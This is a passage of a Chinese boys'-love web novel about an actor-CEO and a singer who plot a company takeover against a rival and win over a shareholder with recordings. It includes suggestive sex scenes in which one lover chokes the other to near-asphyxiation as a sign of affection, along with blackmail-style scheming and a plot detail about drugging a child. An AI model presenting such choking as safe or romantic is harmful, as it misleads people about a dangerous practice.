尧新雪的手里握着杯果汁,他将手撑在下颌,嘴角微微挑起——他确实第一次见到片场,感到有些新奇,但宋燃犀带他来到这里的目的其实也非常幼稚,无非是想他看着自己耍帅。 一是今天要耍帅了,尧新雪不来看看就吃亏了,二是把他放在眼皮子底下好监督,不碰猫不碰电子产品伤眼睛。 横竖就只有这么点心思。 尧新雪咬着吸管笑了一下,也不戳穿,就当是度假了。 场记板“啪”地一下合上,宋燃犀就拿着一根烟,点燃了咬在嘴里。 他确实是个天赋异禀的演员,短短点烟、看表与放打火机回兜里的几个动作既显出了上位者的漫不经心,又带有明显的轻蔑与傲慢。 身后的人自觉地落后他半步,在分针指向整点之后,宋燃犀就一手插着兜一手夹着烟走进了餐厅。 餐厅里放着优雅的华尔兹音乐,身穿着礼裙的女士与西装革履的男人们言笑晏晏,长桌上是各色精致的美食,酒杯相碰的声音在宋燃犀推开门后戛然而止。 “晚上好,女士们,先生们。”宋燃犀一耸肩膀,缓缓地吐出一个烟圈。 “这就是那个……”有人笑着偏过了头,他还没有说完,宋燃犀就随手拿起一个酒瓶猛地砸向了那个人的脑袋。 这个动作犹如一个开关,就将在场所有人的情绪都调动起来,毫无疑问这又是一个宋燃犀即兴发挥的动作,即使知道那是道具和戏剧效果,演员们心里闪过的惊愕与恐慌仍然迅速地将他们代入到了角色里。 玻璃迸溅,喷溅到宋燃犀领口的已不知道是血还是葡萄酒。他猛地一把拽住想要冲上来向他挥拳的人的衣领,然后扯着人连椅子一起扔在地上。 尖叫与怒骂声伴随着他的动作起落,一场极大的混乱拉开了帷幕,餐桌被人扯下来蒙在了别人的头上,瓷盘被当做西瓜般猛地往人脑袋上一砸。 “去你妈的亚瑟……” “滚。”宋燃犀冷冷地吐出一个字,然后勾着嘴角往前人的脸狠狠挥了一拳。 镜头始终牢牢地抓住他的动作与神态,每一个机位都忠实地按照计划移动,直到最后导演喊“咔”,其他人才气喘吁吁地停了动作。 宋燃犀原本妥帖的西装已经因为拉扯变得不成样子,他没有要求借位或替身,为了效果,别人砸在他眼角和小腹上的拳头每一拳都是真的。 那支叼在嘴里的烟依然在燃烧着,宋燃犀没掐,只是缓缓地吐了一口烟,站在遍地的混乱里偏过头,扬眉望向尧新雪。 尧新雪和他对视,也歪了歪头。 宋燃犀转过了脸,低下头将另一个被他揍趴下的演员拉了起来,那人拍了拍屁股上的灰讪笑道:“哥你打得是真痛啊,我都怀疑你跟我有点私人恩怨了。” 宋燃犀笑了,偏过脸露出那一块被打青的额角,痞里痞气道:“没恩怨,都是节目效果,你可以打回来。” “那还是算了。”那人打了个哈哈。 宋燃犀将人拉起来后就往尧新雪身边走去,许弋还在检查镜头,中间拍摄的时候没有喊咔,就基本说明这条能过了。 宋燃犀的脑门上还全是血包喷出来的血,西装也是一片葡萄酒的红紫,里面的衬衣因为打架早被扯崩了几颗扣子,脸上的淤青与嘴角上极淡的血迹都说明他挨到的打其实也不少。 他走到尧新雪面前,当着小言的面毫不留情地抢过了尧新雪手里的果汁猛地喝了一口,然后斜了小言一眼:“有点眼力见。” 小言本来还在为宋燃犀理所当然地喝尧新雪剩下的果汁时震惊,听到这句忙不迭地让出了旁边的位置。 宋燃犀没有坐,只是俯下身,凑近过去,毛绒绒的脑袋顶高了些许尧新雪的鸭舌帽,哑声问:“帅不帅?” 尧新雪微微仰着头,看着他,嘴角愉悦地挑起。 尧新雪的目光流连过宋燃犀脸上或大或小的伤口,然后抬起手指按向了那点淤青,惹得宋燃犀痛得啧了声。 罪魁祸首却仿佛恶作剧成功了般笑了,睁着那双漂亮的眼睛,又一次歪了歪头轻声说:“我的眼睛还没好。” 言下之意就是不知道帅不帅,总之没看见。 他的指腹碾过宋燃犀嘴角那处极淡的血迹,宋燃犀在那一刻感觉到喉咙的甜腥,心跳漏了一拍。 尧新雪的手指蹭了那点半真半假的血迹后,又蹭了蹭他颈间的葡萄酒,最后手半拢住他的颈,拇指按在宋燃犀的喉结处,收紧五指。宋燃犀注视着他,尧新雪那温柔的神情,比起剧本里所有想杀掉亚瑟的人,他仿佛更像一个杀人凶手。 这个动作暧昧又危险,宋燃犀在尧新雪的注视之下,仿佛真的感到呼吸困难。 就在他晃神的下一秒,他猛地扣住尧新雪的手腕,然后转过头大声问:“许弋好了没?” 许弋还在监视器前,听到他的声音也扯着嗓子喊了回去:“这条过了,你滚吧!” 宋燃犀拉着尧新雪走回了车,他将后座降低,然后有些鲁莽地就吻了上去。 尧新雪没有阻止他,只是任由他急促地呼吸着,索求着。 宋燃犀没换衣服,身上依然乱七八糟的,伪造的血浆和酒液因为两人的相贴,全部蹭上了尧新雪的衣服,混乱的亲吻中,两人仿佛是刚从杀人现场逃离的通缉犯。 尧新雪拽着宋燃犀的衣领,将他扯开了点,嫌弃道:“别发疯。” “你给他什么了,签名吗?”宋燃犀撑在尧新雪的两边,追问道。他问的是小言,就在开镜之前,他的余光瞥到了尧新雪正拿着签字笔在小言的本子上随手写字。 “对啊。”尧新雪曲起腿,暗示性极明显地碰了碰宋燃犀的小腹。 宋燃犀的呼吸一重,哑声说:“我也要。” 尧新雪的长发已经因为宋燃犀过于粗鲁的动作散落下来,此刻蓝灰色的长发铺在车座上,他弯了弯眼睛:“哦,签在哪里?” 第59章 “我该如何形容我对他的情感?我对他怀有杀父之恨,他枪杀了我的父亲,也让我日后流离失所;他于我有救命之恩,如果当时他没有杀掉我父亲,那么我一定会从床底板下被抓出来,面临酷刑。可怜可悲的命运啊,那天因他而死的人是我,因他而生的人也是我。 我得到了一个绝妙的机会,他的仇敌让我作为卧底去到他的身边。我得到这个身份时激动得浑身颤抖,因为这将是我离他最近的机会,是我唯一能过去愿望,亲手杀死他的机会。当我出现在他的面前,与他对视,却在那一秒晃神——他认出我了。 可是他依然把我留在了他的身边,整整五年。五年,五年,这五年到底改变了什么,每和他相处多一日,我就感到难以言喻的痛楚和欢喜。 当他在一场爆炸里扑向我,将我护在身下时,我似乎就知道,我永远、永远也不可能继续恨他了。” …… 宋燃犀给尧新雪整理好衣服,然后又抽出几张纸巾擦了擦座位。 两个人在车里胡闹了一番,完事后才草草地收拾完坐好开车回家。 尧新雪回到家就是洗澡,宋燃犀则在镜子面前端详自己的脸。 倒不是他自恋,只是莫名地感觉尧新雪今天的状态似乎比以往好一点。 宋燃犀若有所思地盯着自己额角的伤口和唇边的血迹,回味起尧新雪微微笑着,毫不怜惜地按痛自己时那副意犹未满的表情,忽然有所醒悟般“哦”了声。 于是他没有对自己的伤口作任何处理,反而随手抠掉了已经凝固的痂,然后随手脱了上衣,露出带着细小伤口的背,安静地等待着尧新雪从浴室里出来,顺便给猫喂猫粮。 半个小时后,尧新雪随意地系着自己的浴袍带子,踩着拖鞋走出来时看到的就是这一幕——宋燃犀如同一条失魂落魄、伤痕累累、还没有主人的流浪狗,耷拉着脑袋扒拉着猫粮,俊美的脸上带着演戏留下的淤青和血痕,看起来可怜极了。 尧新雪忍不住笑了。 原本细小的伤口就被某人别有用心地加重了,自作聪明地以为自己发现了讨好谁的一种方法。 宋燃犀听到了很轻的脚步声,假装不知道似的继续低头,下一秒就被掐住了脖子,窒息感一瞬间涌上来。 他被强势地往后推,最后顺势坐在了那个猫爪小沙发上。 尧新雪半跪在他双腿的两侧,饶有趣味地、居高临下地观赏起宋燃犀因呼吸不畅而逐渐发白的脸。 他那只雪白的、毫无瑕疵的手此刻在缓慢地加重,宋燃犀发现自己甚至难以发出声音,但他竭力控制着自己不去反抗,只是微微张开嘴,努力向尧新雪弯弯眼睛。 ——这是第三次尧新雪掐住他的脖子,尧新雪似乎很喜欢掐脖这个动作,也很喜欢看他可怜的样子。 这个动作在宋燃犀浅显的理解里,这似乎可以解释为过度的占有欲和控制欲,尧新雪的本质居然是这样的控制狂吗? 在濒临窒息的快感里,宋燃犀却有了反应,他的瞳孔微微颤抖着,里面只映着尧新雪那完美无瑕的、带着笑意的脸,鼻尖只能嗅到属于尧新雪身上的香根草的气息,与他家那柠檬味的沐浴露的味道。 一切不仅仅是因为眼前的这一幕,更是因为他心底里微妙的感触——尧新雪对他抱有占有欲吗?在尧新雪心里,他是尧新雪的吗?他对于尧新雪来说,是特别的吗? 宋燃犀的耳尖因为心里的想法通红一片,心脏几乎要跳出胸口,身下也被这个想法强烈地刺激着。 尧新雪的膝盖有意无意地蹭着他的腿,宋燃犀艰难地呼吸着,他的小腹紧绷,胸口强烈地起伏着,最后不成音调地说:“不要。” 尧新雪注视着他的瞳孔良久,才慢慢地松开了手。 宋燃犀猛地咳嗽起来,他顺势倒在尧新雪的怀里,大口大口地呼吸着空气,仿佛真的感到了劫后余生的快乐。 他闷闷地蹭着尧新雪,哑声道:“尧新雪,你真变态。” 尧新雪愉悦地一弯眼睛,淡淡地说了句:“你也差不多。” 宋燃犀的脸色发白,他慢慢地缓过来之后,抬起头看向了尧新雪,然后又一次闷哼出声。 ——因为尧新雪抬起脚踩住了他。 又没穿鞋,只是赤裸着脚。宋燃犀低着头望着那只脚,还没缓过来的呼吸又一次加重。 这个角度能让他看到尧新雪那线条流畅而优美的小腿,上面没有任何疤痕,白皙光滑得近乎能看见淡青色的血管。 宋燃犀不合时宜地联想到了之前舞台上尧新雪穿着高帮铆钉靴的样子,那双黑色的长靴完美勾勒着他的小腿轮廓,宋燃犀甚至清晰地记得,那双长靴还有鞋跟。 在这个荒唐的想象里,仿佛尧新雪真的穿着高跟踩了下来,宋燃犀感到难以言喻的快感,像是自己已经被鞋跟踩痛,于是不得不仰着头恳求般看着尧新雪。 尧新雪却微微挑起嘴角,伸出手指蹭过宋燃犀的脸,如同戏弄着宠物一般,浑然不觉着自己其实在怎么折磨他。 宋燃犀最后低低地叫了一声:“尧新雪。” 尧新雪才纡尊降贵似的“嗯”了声,挪开了脚。 宋燃犀的耳朵和脖子已经烧得红透了,巴巴地望着尧新雪,于是尧新雪又俯下身给予了安抚性的亲吻。 “你是不是……”宋燃犀慢慢地哑声问。 “什么?”尧新雪挑了挑眉。 宋燃犀看着他那双温柔的眼睛,张了张嘴,沉默半晌后又说:“算了。” 宋燃犀逃似的跑去了浴室,只余留下尧新雪站在原地。 尧新雪用手指碰了碰自己湿润的嘴唇,却尝到了手指上蹭到的宋燃犀伤口处极淡的腥,他垂下眸,面无表情地动了动手腕——仿佛在勾手里无形的狗链。 宋燃犀在浴室里开了冷水,他有些混乱地搓着自己的头发,然后叹了口气。 这场冷水澡洗了很久,等他弄干头发走回房间,尧新雪已经睡下,又变成粽子了。粽子状态的尧新雪默认是不会搭理他的。 于是宋燃犀只小心翼翼地拨开尧新雪的长发,然后在他的脸上落下一个极轻的吻,最后慢慢地冷静了下来。 ——那时他想问尧新雪什么来着? 哦,好像是“你是不是喜欢我?”。 但他看着尧新雪的眼睛,最后却没有说出来。宋燃犀在那一瞬间犹豫了,因为他好像在尧新雪愉悦地掐住他颈的那一刻隐约地意识到,自己其实永远不可能从尧新雪这里听到真实的答案。 他们的关系远比“喜欢”,比“爱”复杂得多,这个世界上只有宋燃犀知道——“理想”这两个字在尧新雪心里有多重。因为知道这两个字之重,所以如果他们走在同一条路上,将会争斗得不死不休。 可如果他们没有走在同一条窄路上,那么他们就只会是狗和主人。那条狗链的一头栓在宋燃犀心甘情愿垂下的颈上,另一头则牢牢地捆绑在尧新雪的手腕上。 他将作为尧新雪的所属品而变得与尧新雪遇到的其他人不同,而不是别的什么。 宋燃犀想起来某一日,自己在做着剧本的笔记。 他因为宋氏集团的事连轴转了好几周,拿到《错轨》的剧本时,一切都还没有稳定下来。 但是他在夜深人静时依然如同过去在出租屋那样打算以第一人称走一遍角色的心理,也就这样看完了这部电影的结局。 这是个狗血又烂俗的剧本,心里同怀着杀父之仇与救命之恩的少女在与男人共同相处的五年里,竟然荒谬地爱上了他。 而那个黑手党的领袖知道着她接近的一切目的,却也依然将她留在了身边。 在故事的最后,她被背后的组织勒令骗他到埋伏地点,她匆匆地赶回去想提前告诉男人,却被组织提前截获。 计划已经开展,男人的身边已有人通风报信,提前通知他离开,但是男人没有走,只是平静地留在原地,最后少女为他挡枪而死。 少女倒在他的怀里流着眼泪:“为什么你还要留在这里?” 男人却温柔地保抱住了她,回答道:“因为我相信你的爱。” 其实他只是想验证少女是否真的会背叛自己,直到他说出这句话时,他还依然还不相信少女对他的爱,而少女也在死前的最后一秒明白了这个事实。 这荒谬的、悲哀又烂俗的剧情,竟然让宋燃犀在今晚吊诡地共情——其实也许,尧新雪也并不相信他的爱。直到宋燃犀完全地臣服,渴望,爱他,才能让尧新雪满意。 第二天,宋燃犀拉着尧新雪的手,催他给自己签名。 尧新雪依然懒洋洋的,随手握着马克笔,签在了他的胯骨处,写的是“Snow”。 下午,宋燃犀就将这四个字母纹了下来。 在他纹之前,纹身师提醒他:“您要考虑清楚,洗纹身是很痛的,纹过的大部分人都在后悔。” 宋燃犀望着镜子里自己身上的英文单词,它已经有些褪色,他却莫名想到尧新雪昨天因愉快而微微弯起的眼睛。 “纹啊,我不会后悔的。” 宋燃犀说,就连他自己也不知道为什么想要将这个签名纹下来,仿佛这会是一个证明。 他想要让尧新雪看见。 第60章 一个月后。 指针音乐的的股东大会刚刚结束,李洋从位置上起身,他低头看了腕表,然后将目光投到了不远处的段以宿身上。 段以宿穿着剪裁得体的黑色西装,走在最前面。私人定制的西装一看就价格不菲,这样简约的设计落在他身上,却只显出傲慢与贵气。他的脚步不紧不慢,身边围了一大堆表情谄媚的人,随口说出一句话,别人就忙不迭地点头。 他没有看李洋一眼,李洋甚至怀疑,段以宿都不知道自己坐在这里。 上位者和下位者之间的差距,已无形昭显。他看着这个比自己年轻十岁的男人的背影,最后只是不着痕迹地叹了口气。 李洋今年四十五岁,却没有一处可以和段以宿相比。 他自嘲地笑了笑,按下电梯,前往地下车库。电梯门刚开,就有一个年轻俊秀的青年等在了那里。 那个青年同样穿着简约的西装,却低眉顺眼,仿佛站在这里只是为了等待李洋。 李洋郁闷的心情终于舒畅了一点,他和颜悦色道:“你是……?” “我是宋总的助理林译,他希望能由我来送您前往餐厅。”林译谦卑道。 李洋点点头,坐上了林译的车,显然为林译的说法感到满意。 他没有想到的是,宋燃犀居然这么“聪明”。宋燃犀同样年轻有为,在他面前却表现出略低的姿态。 就在昨晚,李洋接到了来自宋燃犀的邀请。 那时李洋正在抽雪茄,听着电话那边传来的年轻男人的声音,觉得有些困惑。 他当然知道宋燃犀是谁。影帝、宋氏集团年轻而手段非凡的CEO、在宋氏出事时力挽狂澜的少东家……种种头衔冠在这个人身上,每一项都来路有名。 李洋承认,自己并不喜欢这样张扬得近乎耀眼的年轻人,但宋燃犀的语气与社会地位又没能让他毫不犹豫地挂断电话。 他不知道宋燃犀找他是为了什么,但是绝对不能拂了这个面子。 李洋于是捏着鼻子,缓缓地吐出一口烟,按下了接听。 宋燃犀说话很有技巧,他将自己摆在后辈的位置,在不着痕迹地捧李洋的同时发出了饭局的邀请。 面对着一个比自己年轻英俊,同时社会地位极高的人的奉承,李洋可以说是被赞得身心愉悦,忙不迭地就答应了下来。 直到电话挂断,他才慢慢地意识到——宋燃犀做的功课未免太全面了。他几乎对李洋过去的经历倒背如流。 李洋看着窗外飞逝的风景,有些走神,直到林译恭敬地为他拉开车门,李洋下车,才知道这里是哪——这是云宴,是上流社会的标志之一。 这家私人餐厅占据了全市最好观赏江景的位置,占地面积之大到能提供马场、高尔夫球场等场地,装潢之华丽既不显俗套又优雅非常。 因此这里的位置也堪称天价,它只接待持有黑色贵宾卡的客人,这意味着没有足够钱权的人根本无法走进这里,无论你是不入流的明星还是暴发户。 饶是李洋这样的老狐狸也不得不感慨一句,宋燃犀是真的不缺钱。就连他,在过去也仅仅通过别人的邀请进过一次云宴。 侍者在见到他后稳稳地一躬身:“宋先生让我来带路,请您往这边走。” 李洋的心有些动摇,但面上不显。 宋燃犀正站在最高层望着楼下的江景,他手里拿着一杯水,另一只手随意地插在西装裤兜。 此时此刻正值傍晚,太阳落至地平线以下,只有灿烂辉煌的余晖在借着云层不断疯狂燃烧着,烧出夺目的金色,大片的蓝、金与红粗暴地混在一起,调出了几近梦幻的蓝紫调。 听到开门声,宋燃犀转过身,挑眉微微地一笑:“李总。” 李洋也象征性地和他握了握手:“宋总。” 两人对视一眼,然后落座。 李洋全程都在等待着宋燃犀挑明邀请他的目的,宋燃犀却只优雅地切着牛排,偶尔漫不经心地说起一两件趣事,让场面不至于冷下来。 李洋不动声色地观察着对方,最后轻轻地放下刀叉,乐呵呵道:“感谢宋总的盛情邀请,我和宋总真是相见恨晚,不知道我有什么能帮上宋总的地方呢?” 宋燃犀听到这个问题,先是挑起唇角一笑,然后慢慢地往后靠,用餐巾抿了抿嘴:“我有意收购指针音乐。” 这句话如同一道雷轰地劈在李洋的头上,他的表情先是僵硬了一瞬间,然后才勉强维持住笑容:“您在同我开玩笑?” “并不是开玩笑,我这次来一是希望能和李总交个朋友,二就是为了和您谈一下这件事。”宋燃犀微微抬起下颌,他的姿态放松且从容,似乎大受震撼的李洋才是开玩笑的那个。 “这是我给您送的见面礼。”他从旁边拿出一份合同递到了李洋面前。 李洋简单地扫了几行,心中更是大震——这是一套wlove湖畔的庄园,依山傍水,占地一千平方米,李洋曾经非常心动,但因为太贵所以一直没有舍得买下来。 李洋感觉自己的太阳穴在突突地跳,他一时竟不知道说什么——宋燃犀的手段和有钱又一次超乎他的想象。 李洋放下合同,脸上的笑意多了几分真诚,但几秒之后,他还是将这份合同还乐回去。 “这……感谢宋总的好意,但这个忙我帮不了。”李洋扯出一个苦笑。 宋燃犀要搞段以宿,李洋当然双手支持,但是要带上他,那就……李洋可不敢想象自己背叛段以宿的代价,轻则难以在这座城市再出现,重则跳楼或进牢罢了——一路以来,得罪段以宿的人什么下场,他可看得太多了。 经今天一看,宋燃犀确实有钱有势,但要对上段以宿,恐怕也只是以卵击石,李洋只怕到最后只会偷鸡不成蚀把米,自己还被拖下水。 宋燃犀没有接过那份合同,只是依然微笑道:“您不用着急拒绝我,无论我们是否合作,这份礼物都会是您的。我说了,我来这里的第一件事是想和李总交个朋友。” 李洋哑然。 “您不用着急给我答案,有兴趣玩台球吗?”宋燃犀问。 “好啊,我们也多聊聊天,认识宋总也是我的荣幸啊哈哈哈。”李洋笑道,跟着宋燃犀站了起来,走向旁边的台球厅。 就在两人并肩走路时,李洋压低了声音:“宋总,我很欣赏你,也乐意当你的朋友,能帮得上的忙我李某当然能帮,但是指针音乐如今的股份……段总如今一人独大,恐怕很难。” 宋燃犀闻言只是微微一弯唇,他没有说话,依然是一副云淡风轻的样子。 李洋于是更加忍不住:“而且,现在黑羊乐队的名气那么大,给公司创收之高,所有人几乎都仰赖着这棵摇钱树。谁都知道尧新雪和段总的关系不简单,如果你真的要收购指针音乐,估计黑羊也只会跟着段以宿走,恐怕到时候你只会得不偿失……” 李洋叹了口气,看在房产的面子上,好心地想要劝告宋燃犀,别太意气用事,却没想到宋燃犀听到这段话之后没忍住似的低声笑了出来。 他懒洋洋地挑眉反问:“谁都知道尧新雪和段以宿关系不一般?” “对,”李洋犹豫地说,“现阶段如果没有尧新雪,指针音乐就是个瘸子,走不远的。” 他本意是想警宋燃犀别惦记着指针音乐这块蛋糕,却没想到宋燃犀只慢悠悠地评价道:“哦,那尧新雪还挺厉害的。” 李洋扯了扯嘴角。 “我来开球吧。”宋燃犀拿过一支杆,随意地擦了擦巧克,然后俯下身,轻轻地一打。 白球撞散了桌上的红色球,最后在李洋的注视下,各色的球分散开来,停在了一个刁钻的位置。 李洋握着杆,眉头皱紧。 就在他有些郁闷时,余光先是瞥到了一绺蓝灰色的长发。 白茶与香根草的味道慢慢笼了上来,李洋先是看到自己身侧的球桌上落下了一只手。 那只手白皙而修长,皮肤细腻而光滑,以标准而优雅的姿势架着一支球杆。 李洋的身体先是一僵,心中先是感到难以置信,然后缓缓地转过头。他的目光沿着那只手一路向上,先是看到那只手凸起的腕骨,然后是线条流畅的小臂。 那人俯下身,上半身几乎贴近球桌,蓝灰色的长发夹在雪白的耳朵之后,随着他的动作散落下几绺,让他那俊美的侧脸多了几分若隐若现的阴影。 贴身的白色衬衫一半扎在腰间,另一半垂落下来,这个装束修饰出他极诱人的腰线与长腿,薄薄的布料甚至让他的肤色若隐若现,性感得赏心悦目。 似乎只是确认了一下角度,那人就轻轻地一推杆,这个在李洋眼里极为刁钻的局就轻而易举地破解了。 球滚进袋子里,李洋感觉到自己的心脏仿佛也停了一瞬间。 那人偏过头,似笑非笑地看了李洋一眼。 他的薄唇微微上挑:“李总。” ——是尧新雪。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 “我很快、很快就会好起来,我一定会振作起来,继续唱歌……我会把我得到的钱拿去建游乐场、孤儿院……他们太苦了,我知道,我都知道……” “我不知道他们为什么要这样对我,我不知道我做错了什么……我没有伤害过孩子们……” …… 梅梢月断断续续的声音从耳机里传来,李洋越听,越是觉得心惊。他浑身冰凉,不仅因为窥见到了这件事的真相,也因为送来这份录音的人。 这份礼物在和宋燃犀、尧新雪见面后的第二天被作为礼物送上李洋的办公桌。 这是梅梢月死前的录音,因为吞了过量的药,他似乎已经神志不清。他的声音艰涩而难听,带着歇斯底里哭喊过的哑意,那个曾经被奉为天才歌手的男孩此刻居然形容狼狈。 因为过于痛苦,他说出来的话颠三倒四,仿佛整个人都沉在了噩梦里或者经历着酷刑。 他开始呕,开始哭,他疯狂地、断断续续地喊着一个人的名字,然而这些都被匿去,最后只剩下那句:“他们一直在逼我交出股份,所有人都在逼我……” 李洋的表情逐渐变得难看。 这份录音揭露了两件事:一,尧新雪和梅梢月关系匪浅,梅梢月在死前给尧新雪打了电话,匿去的姓名极有可能是尧新雪。 二,梅梢月遭到的一切非议是由段以宿一手推成的。 三,梅梢月在死前说出的最后一句话,将成为对段以宿有力的指控和引导。 李洋按下了暂停键,他又点了一支烟,缓缓呼出一口气以试图冷静下来——鲜少有人知道,梅梢月是指针音乐的大股东之一,他曾经多次意图改变指针音乐公司对艺人的“霸王条款”,但最后在段以宿的压力下都不了了之。 李洋知道,段以宿踢梅梢月出局是迟早的事,却没想到——这盘以梅梢月的死为结尾的棋局背后还有第三双眼睛。 李洋回想起尧新雪昨晚那天使般的面容。 蓝灰色的长发散落在台球桌上,仿佛连空气都因为他的出现带上了勾人的香。 尧新雪就是这样,永远,永远干净,美丽得无瑕。雪白的皮肤与柔软的长发,纤细的腰与温柔的笑,他身上一切的一切,都完美得胜过画像。 太多的人为他疯狂,爱他,意淫他,对他做尽下流的幻想,但这似乎都这样理所应当——他可是尧新雪啊。 造物主对他倍加宠爱,在给了他漂亮的皮囊之后依然给了他无与伦比的天赋,他那婉转美妙的歌喉与音乐才能足以让他只是站在台上唱出第一句歌词,就能得到所有人排山倒海的欢呼与尖叫。 那晚,耀眼的灯落在尧新雪的脸庞,光线刻出恰到好处的光影。 李洋甚至无法回想起那晚究竟说了些什么事,只是想起尧新雪,想起他那温柔的、宛如在商榷的声音就忍不住心头一颤。 但李洋冷静下来后只觉得浑身冰冷——这个天使在今日给他送上了朋友的临终遗言,将这份血淋淋的礼物当做了合作的筹码。 在尧新雪的天平上,梅梢月的爱与信任是最不值钱的那一个——如果是这样的人,要扳倒那个在商场上堪称神话的段以宿,似乎也不是一件不可能实现的事。 难以想象在这份录音发出去之后,整个世界又会有多大的震动。 李洋听着梅梢月的声音,几乎就已经压抑沉闷地喘不过气,他慢慢地打电话给宋燃犀,听着对方那年轻而饱含笑意的声音,勉强客气地笑道:“宋总,我……收到了你们的礼物,今晚有时间吗?” 宋燃犀答应了李洋的邀请,他转过头,看着沙发上还在戴着眼罩抱着猫的尧新雪,嘴角微微挑起:“李洋同意了。” 尧新雪的声音带着浓浓的困意,显然是因为觉得这张沙发不够软:“没有他,也能找到下一个人。” 宋燃犀捏着他的下颌,用指腹蹭了蹭他的脸最后落下一个亲吻:“当然。” 如果是你想做的,到底有什么是不能实现的?宋燃犀看着尧新雪,心想。 李洋最后得到的地址是宋燃犀的公寓,宋燃犀婉拒了他饭局的邀请,直接把他叫到了家。 市中心公寓的最高层里,宋燃犀穿着白色的T恤和黑色长裤,颈上还搭着一块毛巾,这个样子看上去更像是大学生。 在看到李洋之后,宋燃犀笑了下:“李总。” 宛如带着好友回家,宋燃犀继续说:“随便坐,喝什么?” “都可以。”李洋坐在了沙发上,他的目光落在旁边的猫爪小沙发,心里感到莫名的诡异。 有一只杂色的肥猫睡在这个小沙发上面,对人类全然信任地敞开柔软的肚皮,四仰八叉,猫爪都陷下去一小块。 宋燃犀开了瓶红酒,拿了两个杯子放在了旁边。 李洋闻着红酒的香气,就知道这瓶酒绝非凡品。 他看着宋燃犀松弛地落座,漫不经心地夹着高脚杯,挑眉看向自己。 “我想和宋总合作,但是……”李洋不着痕迹地往四周扫了一眼。 宋燃犀的家装潢简约,而且显然没有第二个人居住的痕迹——也就是说,尧新雪和他的关系也许并不牢靠。 “但是?”宋燃犀挑起眉,他的手依然在不紧不慢地晃着酒杯。 李洋清了清嗓子:“但是,之后我要指针音乐20%的股份。”他和宋燃犀对视,然后从容镇定地抿了口自己的酒。 宋燃犀晃酒杯的动作终于停了,他的嘴角保持着挑起,面上的表情没变。 但两人闲适如老友般的氛围顷刻就僵住了。李洋狮子大开口,宋燃犀虽然面上不显,但心里早在那一秒骂了他几百回。 臭老头,20%的股份真是敢想,宋燃犀心里冷笑。 就在他刚准备开口对李洋一顿骂时,一个人拿走了他手里的酒杯,慢条斯理地喝了一口。 李洋怔在了原地,对来人的注视感觉到心脏一紧——怎么又是尧新雪! 尧新雪似乎刚洗完澡,浴袍松松垮垮地笼在身上,V领甚至能看到他雪白的、因为热意微红的一小片皮肤。 他的长发半湿,红酒润过的嘴唇透着水光,挑起唇来连眼睛都妖冶。 “李总能和我们合作是我们的荣幸,如果是6%……”尧新雪将酒杯放下,皱着眉似乎考虑得有些苦恼,他坐在宋燃犀身边,慵懒而亲昵,俨然才是这里的主人。 宋燃犀将头微微侧向尧新雪的那一边,望着李洋饶有趣味地抬起眉。 “6%就好,6%就好,哈哈,没想到你也在。”李洋打了个哈哈,讨好道。 他确实没想到,尧新雪和宋燃犀的关系居然已经到了这种地步——同居……甚至是更亲密的关系?李洋的目光若有若无地扫过两人相隔着的约等于没有的距离,右眼皮开始狂跳。 他再怎么贪钱,也不能同时得罪这两个人啊! “好,请。”尧新雪微微一笑。 他拿出了一份合同,李洋确认了两三遍之后,终于签上了自己的名字。 “二位是有什么打算吗?恐怕单凭那一份录音,很难撼动段以宿的地位……”李洋在签字后彻底死心,他看着尧新雪姿态懒散地靠在沙发上,宋燃犀则站起来,拿走了尧新雪面前的红酒杯。 “李总可以听听这个。”尧新雪将一支录音笔递到了李洋面前。 李洋看着宋燃犀回来时给尧新雪带来一杯热牛奶,心中一片麻木,为自己刚才的莽撞感到后悔不已。 他按下了那支录音笔。 “我叫蒋胜,身份证号是XXX……我在今日想向梅梢月道歉。我承认,我之所以指控梅梢月侵犯了我的儿子蒋文杰,是受到了他人的唆使,那些人用钱买通了我,要让我把蒋文杰带回家,并且指控用他来指控梅梢月。我感到很愧疚,我为了金钱居然利用……” “那些人给了我针剂和药物,他们告诉我只要把这些每天定时定量打进蒋文杰的身体,对他重复说话,就能让他说出……” …… 李洋的眉紧紧地皱了起来,他看着尧新雪平静的面容,下意识地咽了下唾沫。 直到当时出面指控梅梢月娈童的孩子蒋文杰、他的父亲蒋胜,母亲许燕的声音全部停下,他才终于难以置信般动了动手指。 “我们会选一个合适的时机在所有人面前放出这两份录音,公司内部的话,只能靠李总协调了。”尧新雪说。 他微微一笑,雪白而修长的手指握着牛奶杯,抿了一口。 李洋望着录音笔红色的闪灯灭掉,终于又一次忍不住打了个冷颤——尧新雪实在是太可怕了。 李洋难以想象在这其中,他们用了什么手段才逼得蒋胜自首,但其中又有多少是能拿得上台面的……他抬头望向了对面的两人。 尧新雪即使喝着热牛奶也依然优雅,神情放松,眉眼舒展,仿佛只是听着什么古典乐。 宋燃犀则靠在沙发背上,下颌微微抬起,表情愉悦,一只手搭在尧新雪身后的椅背上——一个极具占有欲的姿势,如同一头狼犬,乖顺却又傲慢地坐在主人身边。 李洋在短暂的愣神之后果断举起红酒杯,礼貌地和尧新雪碰杯,笑道:“合作愉快。” 第62章 等李洋走之后,宋燃犀装出来的笑脸就挂不住了。 他冷哼一声,用毛巾随意地搓着自己的头发抱怨道:“老东西还真把自己当回事了,20%的股份也敢要,我差点就开口骂他了。” 尧新雪笑了一下,小心翼翼地把旁边小沙发的猫抱起来,然后放轻了声音:“宋总,生意可不是你这样做的。” 小房子依然闭着眼睛,本能地缩了一下身子,却又因为嗅到熟悉的令它安心的气味睡得香甜,它往尧新雪的臂弯里躲了躲,蹭了蹭尧新雪,又热又软的肚子随呼吸起伏。 宋燃犀看着他像抱小孩那样抱着猫,心中有些吃味,最后只说:“他拿得太多了。” “拿得不够多,不会心甘情愿地帮你做事。”尧新雪抱着猫,转头就想往房间走。 宋燃犀啧了一声,拉住了尧新雪的浴袍一角,然而尧新雪浑然不觉似的,只懒洋洋地扫了宋燃犀一眼。 宋燃犀舔了舔唇,然后走近一步吻住了他的唇。 尧新雪因为抱着猫,腾不出手推他,于是咬住了他的舌头。 宋燃犀痛得嘶了一声,转而挑起嘴角,笑得有些邪:“你真狠。” 狠在居然想要利用梅梢月的死,狠在用段以宿曾经对付梅梢月的手段来搞垮段以宿,这是多么嘲讽的事。 尧新雪只似笑非笑地看了他一眼,微微抬起下颌,吐了吐舌头——他柔软的舌上至今留有段以宿要求打下的孔洞,那个段以宿送的舌钉至今依然佩戴在上面,如同一个符号,一个标记,象征着段以宿粗暴的占有。 宋燃犀的脑子顷刻间冷静了下来,他望着尧新雪冷淡的眼神,只低头讨好地亲吻尧新雪的嘴角。 